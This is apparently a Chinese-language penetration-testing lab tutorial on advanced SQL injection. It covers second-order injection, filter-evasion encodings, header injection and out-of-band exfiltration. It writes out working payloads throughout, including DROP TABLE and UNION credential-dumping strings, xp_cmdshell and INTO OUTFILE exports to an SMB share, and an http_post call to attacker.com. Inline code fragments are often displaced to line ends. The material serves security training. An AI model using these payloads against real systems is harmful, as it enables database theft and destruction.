简介
SQL 注入仍然是 Web 应用程序最严重和最广泛的安全漏洞之一。当攻击者利用 Web 应用程序执行任意 SQL 查询的能力,导致未经授权访问数据库、数据泄露、数据操纵,甚至完全控制应用程序时,就会出现这种威胁。在这个房间里,我们将了解高级 SQL 注入技术,全面了解复杂的攻击向量和缓解策略。
在这个房间结束时,您将对各种 SQL 注入技术有更深入的了解。这将使您具备在多种情况下识别和利用这些漏洞的技能,并实施强大的防御措施来保护您的应用程序。
学习目标
在整个课程中,您将全面了解以下关键概念:
二阶 SQL 注入
过滤器规避
带外 SQL 注入
自动化技术
缓解措施
我们介绍了基本技术,例如基于错误和基于联合的 SQL 注入,以及盲目 SQL 注入方法,例如基于布尔值和基于时间的攻击。以下是对 SQL 注入核心基本类型的房间的快速回顾
带内 SQL 注入
这种技术被认为是最常见和最直接的 SQL 注入攻击类型。在这种技术中,攻击者使用相同的通信通道进行数据的注入和检索。带内 SQL 注入有两种主要类型:
- 基于错误的 SQL 注入:攻击者操纵 SQL 查询以从数据库生成错误消息。这些错误消息通常包含有关数据库结构的信息,可用于进一步利用数据库。示例: .如果在错误消息中返回数据库版本,则会显示有关数据库的信息。
SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))
- 基于 Union 的 SQL 注入:攻击者使用 UNION SQL 运算符将两个或多个 SELECT 语句的结果合并为一个结果,从而从其他表中检索数据。示例: .
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin
推理(盲目)SQL 注入
推理 SQL 注入不会直接通过 Web 应用程序传输数据,这使得利用它更具挑战性。相反,攻击者会发送有效负载并观察应用程序的行为和响应时间,以推断有关数据库的信息。推理 SQL 注入有两种主要类型:
- 基于布尔值的盲目 SQL 注入:攻击者向数据库发送 SQL 查询,迫使应用程序根据 true 或 false 条件返回不同的结果。通过分析应用程序的响应,攻击者可以推断有效负载是 true 还是 false。示例: . 如果页面内容或行为根据条件发生变化,攻击者可以推断结果。
SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2 (false condition)
- 基于时间的盲目 SQL 注入:攻击者向数据库发送 SQL 查询,如果条件为 true,则延迟响应指定时间。通过测量响应时间,攻击者可以推断条件是 true 还是 false。例如,.如果响应延迟 5 秒,攻击者可以推断出条件为 true。
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--
带外 SQL 注入
当攻击者无法使用相同的通道发起攻击并收集结果,或者服务器响应不稳定时,会使用带外 SQL 注入。该技术依赖于数据库服务器发出带外请求(例如 HTTP 或 DNS)以将查询结果发送给攻击者。HTTP 通常用于带外 SQL 注入,以将查询结果发送到攻击者的服务器。 我们将在这个房间里详细讨论它。
每种类型的 SQL 注入技术都有其优点和挑战。了解这些技术对于识别和缓解 Web 应用程序中的 SQL 注入漏洞至关重要。带内 SQL 注入易于利用和检测,但噪音很大,很容易被监控。推理(盲)SQL 注入更难利用,需要多个请求,但可以在详细错误消息不可用时使用。带外 SQL 注入不太常见且非常有效,需要外部服务器控制,并且依赖于数据库发出带外请求的能力。通过掌握这些技术,渗透测试人员可以有效地识别和利用 SQL 注入漏洞,帮助组织保护其 Web 应用程序免受这些关键威胁。
二阶 SQL 注入
二阶 SQL 注入(也称为存储 SQL 注入)利用了以下漏洞:用户提供的输入被保存并随后在应用程序的不同部分使用,可能在一些初始处理之后。这种类型的攻击更加隐蔽,因为恶意 SQL 代码不需要立即导致 SQL 语法错误或其他明显问题,这使得它更难使用标准输入验证技术进行检测。当数据被检索并在 SQL 命令中使用时,第二次使用数据时,会发生注入,因此名称为 “Second Order”。
⚠️upload failed, check dev console
冲击
Second-Order SQL Injection 的危险在于它能够绕过典型的前端防御,例如基本输入验证或清理,这些防御仅发生在初始数据输入时。由于有效载荷在第一步不会造成中断,因此可以忽略它,直到为时已晚,从而使攻击特别隐蔽。
示例
:我们将使用书评应用程序。该应用程序允许用户通过网页 () 添加新书籍。系统会提示用户提供有关他们希望添加到数据库的书籍的详细信息。您可以通过 访问该应用程序。收集的数据包括 、 和 。让我们考虑添加一本具有以下详细信息的书:SSN:UI00012,书名:Intro to PHP,作者:Tim。此信息通过页面上的表单输入,提交后,将存储在 BookStore 数据库中,如下所示:add.php``http://10.10.164.79/second/add.php``SSN``book_name``author``add.php
正如我们所知,二阶 SQL 注入的识别非常具有挑战性。与利用实时处理漏洞的传统 SQL 注入不同,当以前存储在数据库中的数据稍后用于 SQL 查询时,就会发生这种情况。检测此漏洞通常需要了解数据如何流经应用程序并重复使用,因此需要深入了解后端操作。
代码分析
1 | if (isset($_POST['submit'])) { |
该代码使用该方法对输入中的特殊字符进行转义。虽然此方法可以通过转义单引号和其他 SQL 元字符来降低立即 SQL 注入的一些风险,但它并不能保护应用程序免受二阶 SQLi 的攻击。这里的关键问题是缺少参数化查询,这对于防止 SQL 注入攻击至关重要。使用该方法插入数据时,它可能包含不会立即造成伤害但可以在后续检索时激活并在另一个 SQL 查询中使用的有效负载字符。例如,插入名称为 like 的书籍可能不会影响 INSERT 操作,但如果稍后在另一个 SQL 上下文中使用书籍名称而没有正确处理,则可能会产生严重影响。real_escape_string()``real_escape_string()``Intro to PHP'; DROP TABLE books;--
让我们尝试添加另一本 SSN 为 的书籍。test'
好了,SSN 已成功插入到数据库中。该应用程序包括通过类似 的界面更新书籍详细信息的功能。此界面可能会在可编辑的表单字段中显示现有书籍详细信息,根据以前存储的数据进行检索,然后根据用户输入对其进行更新。渗透测试人员将调查应用程序是否重用了以前存储且可能受污染的数据(例如 )。然后,他将构建 SQL 查询,以使用这些可能受污染的数据更新记录,而无需进行适当的清理或参数化。通过操纵更新功能,测试人员可以查看在插入阶段添加的恶意负载是否在更新操作期间被执行。如果应用程序在此阶段未能采用适当的安全措施,则可能会激活早期注入的有效负载,从而导致执行有害的 SQL 命令,例如删除表。您可以访问该页面以更新任何图书详情。test'``update.php``book_name``'; DROP TABLE books; --``http://10.10.164.79/second/update.php
现在,让我们回顾一下代码。PHP 脚本允许用户更新 BookStore 数据库中的书籍详细信息。通过查询结构,我们将分析渗透测试人员可能寻找 SQL 注入漏洞的典型场景,特别关注在 SQL 查询中如何处理和利用用户输入。update.php
1 | if ( isset($_POST['update'])) { |
该脚本首先检查请求方法是否为 POST,以及是否按下了更新按钮,这表示用户打算更新书籍的详细信息。在此之后,该脚本直接从 POST 数据中检索用户输入:
1 | $unique_id = $_POST['update']; |
然后,这些变量 () 用于构造 SQL 查询,以更新数据库中指定书籍的详细信息:ssn, new_book_name, new_author
1 | $update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');"; |
该脚本用于执行多个查询。它还将日志插入日志表中以进行分析。multi_query
准备 Payload
我们知道,我们可以根据他们的 .更新书籍的常规查询可能如下所示:ssn
1 | UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '123123'; |
但是,如果攻击者插入特别构建的值,则 SQL 命令可能纵。例如,如果攻击者使用值:ssn``ssn
1 | 12345'; UPDATE books SET book_name = 'Hacked'; -- |
在 update 查询中使用此值时,它会有效地结束初始 update 命令并启动新命令。这会将 books 表中所有条目的 更改为 Hacked。12345``book_name
让我们这样做
- Initial Payload Insertion:添加一本新书籍,并将有效负载作为 .分号 () 将用于终止当前 SQL 语句。
12345'; UPDATE books SET book_name = 'Hacked'; --``ssn``;
- 恶意 SQL 执行:之后,当管理员或任何其他用户访问 URL 并更新书籍时,插入的有效负载会跳出预期的 SQL 命令结构并注入一个新命令,该命令会更新 books 表中的所有记录。让我们访问页面 ,将书名更新为任何内容,然后单击 更新 按钮。该代码将在后端执行以下语句。
http://10.10.164.79/second/update.php``http://10.10.164.79/second/update.php page
1 | UPDATE books SET book_name = 'Testing', author = 'Hacker' WHERE ssn = '12345'; Update books set book_name ="hacked"; --'; INSERT INTO logs (page) VALUES ('update.php'); |
- 注释掉其余部分:双破折号 () 是一个 SQL 注释符号。SQL Server 将忽略以下任何内容,从而有效地消除原始 SQL 语句中可能导致错误或揭示攻击的任何剩余部分。执行上述查询后,它会将所有书籍的名称更改为 hacked,如下所示:
--``--
在本任务中,我们通过易受攻击的书评 Web 应用程序探索了二阶 SQL 注入概念。作为渗透测试人员,检查用户输入如何存储以及随后在 SQL 查询中使用至关重要。这包括验证所有形式的数据处理是否针对此类漏洞都是安全的,强调全面测试和安全实践知识的重要性,以防止注入威胁。
Filter Evasion 技术
在高级 SQL 注入攻击中,规避过滤器对于成功利用漏洞至关重要。现代 Web 应用程序通常会实施防御措施来清理或阻止常见的攻击模式,这使得简单的 SQL 注入尝试无效。作为渗透测试人员,我们必须使用更复杂的技术来绕过这些过滤器。本节将介绍此类方法,包括字符编码、无引号 SQL 注入以及处理不能使用空格的场景。通过理解和应用这些技术,我们可以通过严格的输入验证和安全控制有效地渗透 Web 应用程序。
字符编码
字符编码涉及将 SQL 注入负载中的特殊字符转换为可能绕过输入过滤器的编码形式。
- URL 编码:URL 编码是一种常用方法,其中字符使用百分号 (%) 表示,后跟十六进制的 ASCII 值。例如,payload 可以编码为 .这种编码可以帮助输入通过 Web 应用程序过滤器并被数据库解码,而数据库在初始处理期间可能无法将其识别为恶意输入。
' OR 1=1--``%27%20OR%201%3D1--
- 十六进制编码:十六进制编码是使用十六进制值构建 SQL 查询的另一种有效技术。例如,查询可以编码为 .通过将字符表示为十六进制数字,攻击者可以绕过在处理输入之前不解码这些值的过滤器。
SELECT * FROM users WHERE name = 'admin'``SELECT * FROM users WHERE name = 0x61646d696e
Unicode Encoding
:Unicode 编码使用 Unicode 转义序列表示字符。例如,字符串可以编码为 .此方法可以绕过仅检查特定 ASCII 字符的过滤器,因为数据库将正确处理编码的输入。admin``\u0061\u0064\u006d\u0069\u006e
例
在此示例中,我们将探讨开发人员如何通过从用户输入中删除特定关键字和字符来实施基本筛选来防止 SQL 注入攻击。但是,我们还将看到攻击者如何使用 URL 编码等字符编码技术绕过这些防御。
注意:在接下来的练习中,我们将使用与上一个不同的数据库。您可以在 访问该页面。http://10.10.164.79/encoding/
以下是处理搜索功能的 PHP 代码 (search_books.php):
1 | $book_name = $_GET['book_name'] ?? ''; |
以下是 index.html 页中的 Javascript 代码,它提供了用于搜索书籍的用户界面:
1 | function searchBooks() { |
在上面的示例中,开发人员实施了一种基本的防御机制,通过删除特定的 SQL 关键字(如 、、 和 )来防止 SQL 注入攻击。筛选使用函数,该函数在将这些关键字包含在 SQL 查询中之前从用户输入中去除这些关键字。这种过滤方法旨在使攻击者更难注入恶意 SQL 命令,因为这些关键字对于许多 SQL 注入负载至关重要。OR``AND``UNION``SELECT``str_replace
准备 Payload
让我们逐步完成准备 SQL 注入有效负载的过程,展示 URL 编码如何绕过基本防御。首先,让我们看看包含特殊字符或 SQL 关键字的普通输入会发生什么情况。当我们搜索一本名为 的书时,我们得到成功的结果如下:Intro to PHP
但是,如果我们尝试通过添加特殊字符(如 、 等)来中断查询呢?我们将得到以下输出:'``;
SQL 查询未正确执行,这可能意味着存在 SQL 注入的可能性。让我们尝试注入有效负载 “”。我们将得到以下输出:Intro to PHP' OR 1=1
那么,这里发生了什么?当此输入传递给 PHP 脚本时,该函数将去除 OR 关键字和单引号,从而产生经过清理的输入,该输入不会执行预期的 SQL 注入。此输入无效,因为筛选会删除 SQL 注入成功所需的关键组件。str_replace
要绕过过滤,我们需要使用 URL 编码对输入进行编码,URL 编码以过滤器无法识别和删除的方式表示特殊字符和关键字。以下是示例 payload 。1%27%20||%201=1%20--+
%27
是单引号 (’) 的 URL 编码。%20
是空格 ( ) 的 URL 编码。||
表示 SQL OR 运算符。%3D
是等号 (=) 的 URL 编码。%2D%2D
是在 SQL 中启动注释的 –, 的 URL 编码。
在上述有效负载中,关闭 SQL 查询中的当前字符串或值。例如,如果查询正在查找与 1 匹配的书名,则 add 将关闭字符串,使 input 的其余部分成为 SQL 语句的一部分。 part 使用 SQL 运算符添加始终为 true 的条件。此条件可确保查询对所有记录返回 true,绕过本应限制结果的原始条件。同样,在 SQL 中启动注释,导致数据库忽略查询的其余部分。这对于终止可能导致语法错误或意外情况的查询的任何剩余部分非常有用。为确保适当的间距,请在注释后添加一个空格,确保注释正确终止并且没有语法问题。1'``'``|| 1=1``OR``--``+
从控制台中,我们可以看到单击搜索按钮会对 .search_book.php
让我们直接在 PHP 页面上使用有效负载,以避免来自客户端的不必要调整/验证。让我们访问具有标准负载的 URL http://10.10.164.79/encoding/search_books.php?book_name=Intro%20to%20PHP%27%20OR%201=1,您将看到一个错误。Intro to PHP' OR 1=1
现在,使用 Cyber Chef 对负载进行 URL 编码,并尝试使用更新的负载访问 URL。我们将获得以下输出,其中转储完整信息:Intro to PHP' || 1=1 --+
有效负载之所以有效,是因为 URL 编码以绕过筛选机制的方式表示特殊字符和 SQL 关键字。当服务器解码 URL 编码的输入时,它会恢复特殊字符和关键字,从而允许 SQL 注入成功执行。使用 URL 编码,攻击者可以构建绕过旨在阻止 SQL 注入的基本输入过滤机制的有效负载。这证明了使用更强大的防御措施的重要性,例如参数化查询和预编译语句,无论输入的编码如何,它们都可以防止 SQL 注入攻击。
无引号 SQL 注入
当应用程序过滤单引号或双引号或转义时,使用无引号 SQL 注入技术。
- 使用数值:一种方法是使用不需要引号的数值或其他数据类型。例如,攻击者可以在不需要引号的上下文中使用,而不是 injecting 。此技术可以绕过专门查找转义或去除引号的过滤器,从而允许注入继续进行。
' OR '1'='1``OR 1=1
- 使用 SQL 注释:另一种方法涉及使用 SQL 注释来终止查询的其余部分。例如,可以将输入转换为 ,其中 this 表示 SQL 中注释的开始,从而有效地忽略 SQL 语句的其余部分。这有助于绕过过滤器并防止语法错误。
admin'--``admin--``--
- 使用 CONCAT() 函数:攻击者可以使用 SQL 函数等方式构建不带引号的字符串。例如,构造字符串 admin.该函数和类似方法允许攻击者在不直接使用引号的情况下构建字符串,从而使过滤器更难检测和阻止有效负载。
CONCAT()``CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e)``CONCAT()
不允许使用空格
当不允许使用空格或过滤掉空格时,可以使用各种技术来绕过此限制。
替换空格的注释:一种常见的方法是使用 SQL 注释 () 来替换空格。例如,攻击者可以使用 ,而不是 。SQL 注释可以替换查询中的空格,从而允许有效负载绕过删除或阻止空格的过滤器。
/**/``SELECT * FROM users WHERE name = 'admin'``SELECT/**//*FROM/**/users/**/WHERE/**/name/**/='admin'
制表符或换行符:另一种方法是使用制表符 () 或换行符 () 代替空格。某些筛选器可能允许这些字符,从而使攻击者能够构造类似于 .此技术可以绕过专门查找空格的筛选器。
\t``\n``SELECT\t*\tFROM\tusers\tWHERE\tname\t=\t'admin'
替代字符:一种有效的方法是使用表示不同类型空格的替代 URL 编码字符,例如 (水平制表符)、(换行符)、(换页)、(回车) 和 (不间断空格)。这些字符可以替换有效负载中的空格。
%09``%0A
%0C
%0D``%A0
实例
在此方案中,我们有一个终端节点,该终端节点根据提供的用户名返回用户详细信息。开发人员已实施过滤器来阻止常见的 SQL 注入关键字,例如 OR、AND 和空格 (%20),以防止 SQL 注入攻击。http://10.10.164.79/space/search_users.php?username=?
这是开发者添加的 PHP 过滤。
1 | $special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT"); |
如果我们在端点上使用标准有效负载,我们可以看到,即使通过 URL 编码,它也没有工作。1%27%20||%201=1%20--+
SQL 查询显示代码省略了空格。要绕过这些保护,我们可以使用表示不同类型的空格或换行符的 URL 编码字符,例如 (horizontal tab)、 (换行符)。这些字符可以替换空格,并且仍可由 SQL 解析器正确解释。%09``%0A
可以将原始有效负载修改为使用换行符而不是空格,从而产生有效负载 .此有效负载构造与空格筛选器相同的逻辑条件,但使用换行符来绕过空格筛选器。1' OR 1=1 --``1'%0A||%0A1=1%0A--%27+``1' OR 1=1 --
SQL 解析器将换行符解释为空格,将有效负载转换为 .因此,查询将从 解释为 。1' OR 1=1 --``SELECT * FROM users WHERE username = '$username'``SELECT * FROM users WHERE username = '1' OR 1=1 --
现在,如果我们通过更新的有效负载访问终端节点,我们可以查看所有详细信息。
总而言之,重要的是要了解,在处理旨在防止 SQL 注入攻击的过滤器或 Web 应用程序防火墙 (WAF) 时,没有一种技术可以保证绕过。但是,这里有一些可用于规避这些保护的提示和技巧。下表重点介绍了可用于尝试绕过筛选器和 WAF 的各种技术:
场景 | 描述 | 例 |
像 SELECT 这样的关键词被禁止 | 通常可以通过更改大小写或添加内联注释来分解 SQL 关键字 | SElEcT * FrOm 用户或 SE//LECT * FROM//users |
禁止使用 Space | 使用替代空格字符或注释来替换空格有助于绕过过滤器。 | SELECT%0A*%0AFROM%0Ausers 或 SELECT//*//FROM/**/users |
禁止使用 AND、OR 等逻辑运算符 | 使用替代逻辑运算符或串联来绕过关键字筛选器。 | 用户名 = ‘admin’ & password = ‘password’ 或用户名 = ‘admin’//|//1=1 – |
UNION、SELECT 等常见关键字被禁止 | 使用等效表示形式(如十六进制或 Unicode 编码)来绕过筛选器。 | SElEcT * FROM users 其中用户名 = CHAR(0x61,0x64,0x6D,0x69,0x6E) |
禁止使用 OR、AND、SELECT、UNION 等特定关键字 | 使用混淆技术通过将字符与字符串函数或注释组合在一起来伪装 SQL 关键字。 | SElECT * FROM users WHERE username = CONCAT(’a’,’d’,’m’,’i’,’n’) 或 SElEcT//username//FROM/**/users |
在实际环境中,您应用的查询和筛选关键字的可见性是无法直接实现的。作为渗透测试人员,重要的是要了解 SQL 注入测试通常涉及命中试验方法,需要耐心和毅力。每个环境都可能具有独特的过滤器和保护措施,因此有必要适应并尝试不同的技术来找到成功的注射向量。
带外 SQL 注入
带外 (OOB) SQL 注入是一种攻击技术,当直接或传统方法无效时,渗透测试人员/红队成员使用它来泄露数据或执行恶意操作。与攻击者依赖同一通道进行攻击和数据检索的带内 SQL 注入不同,带外 SQL 注入使用单独的通道来发送有效负载和接收响应。带外技术利用 HTTP 请求、DNS 查询、SMB 协议或数据库服务器可能有权访问的其他网络协议等功能,使攻击者能够绕过防火墙、入侵检测系统和其他安全措施。
带外 SQL 注入的主要优势之一是其隐蔽性和可靠性。通过使用不同的通信渠道,攻击者可以最大限度地降低被发现的风险,并与受感染的系统保持持续连接。例如,攻击者可能会注入一个 SQL 负载,触发数据库服务器向攻击者控制的恶意域发出 DNS 请求。然后,可以使用响应来提取敏感数据,而无需向监视直接数据库交互的安全机制发出警报。这种方法允许攻击者利用漏洞,即使在攻击者和目标之间的直接连接受到限制或受到审查的复杂网络环境中也是如此。
为什么使用 OOB
在直接响应被清理或受到安全措施限制的情况下,OOB 通道使攻击者能够在没有服务器立即反馈的情况下泄露数据。例如,存储过程、输出编码和应用程序级别约束等安全机制可能会阻止直接响应,从而使传统的 SQL 注入攻击无效。带外技术(例如使用 DNS 或 HTTP 请求)允许将数据发送到由攻击者控制的外部服务器,从而规避这些限制。
此外,入侵检测系统 (IDS) 和 Web 应用程序防火墙 (WAF) 通常会监控和记录可疑活动的 SQL 查询响应,从而阻止来自潜在恶意查询的直接响应。通过利用 OOB 通道,攻击者可以通过使用审查较少的网络协议(如 DNS 或 SMB)来传输数据来避免检测。这在攻击者与数据库服务器之间的直接连接受限的网络环境中特别有用,例如当服务器位于防火墙后面或位于不同的网段中时。
不同数据库中的技术
带外 SQL 注入攻击利用通过精心设计的查询写入另一个通信通道的方法。当与数据库的直接交互受到限制时,此技术对于泄露数据或执行恶意操作非常有效。数据库中有多个命令可能允许外泄,但以下是各种数据库系统中最常用的命令列表:
MySQL 和 MariaDB
在 MySQL 或 MariaDB 中,可以使用 SELECT …INTO OUTFILE 或 load_file 命令。此命令允许攻击者将查询结果写入服务器文件系统上的文件。例如:
1 | SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt'; |
然后,攻击者可以通过数据库服务器上运行的 SMB 共享或 HTTP 服务器访问此文件,从而通过备用通道泄露数据。
Microsoft SQL Server (MSSQL)
在 MSSQL 中,可以使用 xp_cmdshell 等功能执行带外 SQL 注入,该功能允许直接从 SQL 查询执行 shell 命令。这可用于将数据写入可通过网络共享访问的文件:
1 | EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T'; |
或者, 或者 可用于与外部数据源交互,从而促进通过 OOB 通道进行数据泄露。OPENROWSET``BULK INSERT
神谕
在 Oracle 数据库中,可以使用 UTL_HTTP 或 UTL_FILE 软件包执行带外 SQL 注入。例如,UTL_HTTP 包可用于发送包含敏感数据的 HTTP 请求:
1 | DECLARE |
带外技术示例
MySQL 和 MariaDB 中的带外 SQL 注入技术可以利用各种网络协议来泄露数据。主要方法包括 DNS 泄露、HTTP 请求和 SMB 共享。根据 MySQL/MariaDB 环境和网络设置的功能,可以应用这些技术中的每一种。
HTTP 协议请求
通过利用允许 HTTP 请求的数据库功能,攻击者可以将敏感数据直接发送到他们控制的 Web 服务器。此方法利用可以建立出站 HTTP 连接的数据库功能。尽管 MySQL 和 MariaDB 本身不支持 HTTP 请求,但如果数据库配置为允许此类操作,则可以通过外部脚本或用户定义函数 (UDF) 来完成此操作。
首先,需要创建和安装 UDF 以支持 HTTP 请求。此设置很复杂,通常涉及其他配置。示例查询如下所示。SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;
HTTP 请求泄露可以在 Windows 和 Linux (Ubuntu) 系统上实施,具体取决于数据库对启用 HTTP 请求的外部脚本或 UDF 的支持。
DNS 解析外泄
攻击者可以使用 SQL 查询生成带有编码数据的 DNS 请求,这些数据被发送到攻击者控制的恶意 DNS 服务器。此技术绕过基于 HTTP 的监控系统,并利用数据库执行 DNS 查找的能力。
如上所述,MySQL 本身不支持仅通过 SQL 命令生成 DNS 请求,攻击者可能会使用其他方式(例如自定义用户定义函数 (UDF) 或系统级脚本)来执行 DNS 查找。
SMB (中小型企业)外泄
SMB 泄露涉及将查询结果写入外部服务器上的 SMB 共享。此技术在 Windows 环境中特别有效,但也可以通过正确的设置在 Linux 系统中进行配置。示例查询如下所示。SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';
由于 Windows 本身支持 SMB/UNC 路径,因此完全支持此功能。Linux (Ubuntu):虽然直接 UNC 路径更适用于 Windows,但可以使用 Linux 等工具或通过将共享挂载到本地目录来挂载和访问 SMB 共享。在 SQL 查询中直接使用 UNC 路径可能需要额外的设置或脚本来促进交互。smbclient
实例
在这个实际场景中,我们将演示攻击者如何使用带外 SQL 注入技术从易受攻击的 Web 应用程序中窃取数据。服务器端代码包含一个 SQL 注入漏洞,该漏洞允许攻击者构建一个有效负载,将查询结果写入外部 SMB 共享。当来自数据库的直接响应受到限制或受监视时,这非常有用。
场景说明
在这种情况下,我们将在 的 AttackBox 上启用网络共享。此共享可通过网络访问,并允许将其他计算机中的文件写入其中。您可以假设这样一种情况:您遇到了一个易受攻击的系统,并希望将数据转置到另一个网络共享系统。攻击者将利用此共享来带外泄露数据。要获得网络共享,我们将启动 AttackBox 并在终端中执行以下命令:ATTACKBOX_IP\logs
- 使用 导航到目录
impacket``cd /opt/impacket/examples
- 输入命令以启动共享目录的 SMB 服务器。
python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp``/tmp
- 您可以通过输入命令 来访问网络共享的内容。这将允许您连接到网络共享,然后您可以发出命令来列出所有命令。
smbclient //ATTACKBOX_IP/logs -U guest -N``ls
我们有相同的 Web 应用程序,该应用程序具有搜索功能,可以查询访问图书馆的访客。此功能的服务器端代码容易受到 SQL 注入的攻击,您可以在 访问它。http://10.10.164.79/oob/search_visitor.php?visitor_name=Tim
1 | $visitor_name = $_GET['visitor_name'] ?? ''; |
重要注意事项
请务必注意,可以设置 MySQL 系统变量。设置后,此变量包含目录路径名,并且 MySQL 将仅允许将文件写入此指定目录。此安全措施有助于降低未经授权的文件操作的风险。secure_file_priv
- 设置 secure_file_priv 时:MySQL 会将 INTO OUTFILE 等文件操作限制到指定目录。这意味着攻击者只能将文件写入此目录,从而限制了他们将数据泄露到任意位置的能力。
- 当 secure_file_priv 为空时:如果变量为空,则 MySQL 不会施加任何目录限制,允许将文件写入 MySQL 服务器进程可访问的任何目录。此配置会带来更高的风险,因为它为攻击者提供了更大的灵活性。
secure_file_priv
攻击者通常没有直接访问权限来检查 secure_file_priv 变量的值。因此,他们必须依靠 hit-and-trial 方法来确定是否可以写入文件以及在何处写入文件,测试各种路径以查看文件操作是否成功。
准备 Payload
为了利用此漏洞,攻击者制作了一个有效负载以注入到参数中。有效负载将设计为执行额外的 SQL 查询,该查询将数据库版本信息写入外部 SMB 共享。visitor_name
1 | 1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; -- |
我们来剖析一下上面的有效负载:
1'
:关闭 SQL 查询中的原始字符串。;
:结束第一个 SQL 语句。SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt';
:执行一个新的 SQL 语句,该语句检索数据库版本并将其写入位于 \ATTACKBOX_IP\logs\out.txt 的 SMB 共享。--
:注释原始 SQL 查询的其余部分以防止语法错误。
为了利用有效负载,攻击者将访问在外部 SMB 共享中创建文件的 URL。
要访问该文件,请使用 查看目录中收到的文件,如下所示:ls /tmp``/tmp
1 | thm@machine$ls /tmp |
高级 SQL 注入
高级 SQL 注入涉及一系列超越基本攻击的复杂方法。以下是渗透测试人员应注意的一些重要高级技术:
HTTP 协议标头注入
HTTP 标头可以携带用户输入,这些输入可能用于服务器端的 SQL 查询。如果这些输入没有被清理,可能会导致 SQL 注入。该技术涉及操作 HTTP 标头(如 User-Agent、Referer 或 X-Forwarded-For)以注入 SQL 命令。服务器可能会记录这些标头或在 SQL 查询中使用它们。例如,恶意 User-Agent 报头将类似于 . 如果服务器在 SQL 查询中包含 User-Agent 标头而未对其进行清理,则可能会导致 SQL 注入。User-Agent: ' OR 1=1; --
在此示例中,Web 应用程序将 HTTP 请求的 User-Agent 标头记录到数据库中名为 logs 的表中。应用程序提供了一个终端节点,用于显示 logs 表中的所有记录条目。当用户访问网页时,他们的浏览器会发送一个 User-Agent 标头,用于标识浏览器和操作系统。此标头通常用于日志记录目的或为特定浏览器定制内容。在我们的应用程序中,此 User-Agent 标头入到日志表中,然后可以通过提供的端点进行查看。http://10.10.164.79/httpagent/
给定终端节点,攻击者可能会尝试将 SQL 代码注入 User-Agent 标头,以利用 SQL 注入漏洞。例如,通过将 User-Agent 标头设置为恶意值(如 ),攻击者会尝试注入 SQL 代码,将 logs 表的结果与 user 表中的敏感数据组合在一起。User-Agent: ' UNION SELECT username, password FROM user; --
以下是插入日志的服务器端代码。
1 | $userAgent = $_SERVER['HTTP_USER_AGENT']; |
User-Agent 值使用 INSERT SQL 语句插入到日志表中。如果插入成功,则会显示一条成功消息。如果在插入过程中出现错误,则会显示包含详细信息的错误消息。
准备 Payload
我们将准备 SQL 有效负载并将其注入 User-Agent 标头,以演示如何通过 HTTP 标头利用 SQL 注入。我们的目标有效负载将是 ‘ UNION SELECT 用户名,密码 FROM 用户;#. 此有效负载旨在:
- 关闭现有字符串文字:初始单引号 () 用于关闭 SQL 查询中的现有字符串文字。
'
- 注入 UNION SELECT 语句:有效负载的一部分用于从 user 表中检索 username 和 password 列。
UNION SELECT username, password FROM user;
- Comment out the Rest of the Query:该字符用于注释掉 SQL 查询的其余部分,确保忽略任何后续 SQL 代码。
#
我们需要将此有效负载作为 HTTP 请求中 User-Agent 标头的一部分发送,以注入此有效负载,这可以使用 Burp Suite 或 cURL 等工具完成。我们将使用 curl 命令行工具发送带有自定义 User-Agent 标头的 HTTP 请求。打开终端并访问您的命令行界面。 使用以下命令发送带有自定义标头的请求 :User-Agent
1 | user@tryhackme$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.164.79/httpagent/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SQL Injection </title> rel="stylesheet"> </head> <body class="bg-gray-100"> <div class="container mx-auto p-8"> <h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1> <div class="bg-white p-6 rounded-lg shadow-lg"> <p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>bob</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>bob@123</span></p></div><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>attacker</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>tesla</span></p></div> </div> </div> </body> </html> |
服务器的响应将显示在终端中。如果 SQL 注入成功,您将在响应中看到提取的数据(用户名和密码)。
利用存储过程
存储过程是存储在数据库中的例程,可以执行各种操作,例如插入、更新或查询数据。虽然存储过程可以帮助提高性能并确保一致性,但如果处理不当,它们也可能容易受到 SQL 注入的影响。
存储过程是预编译的 SQL 语句,可以作为单个单元执行。它们存储在数据库中,应用程序可以调用它们来执行特定任务。存储过程可以接受参数,这使它们变得灵活而强大。但是,如果这些参数没有得到适当的清理,它们可能会引入 SQL 注入漏洞。
考虑一个旨在根据用户名检索用户数据的存储过程:
1 | CREATE PROCEDURE sp_getUserData |
在此示例中,存储过程将 @username 参数连接到动态 SQL 查询中。这种方法容易受到 SQL 注入的攻击,因为输入没有经过清理。
XML 和 JSON 注入
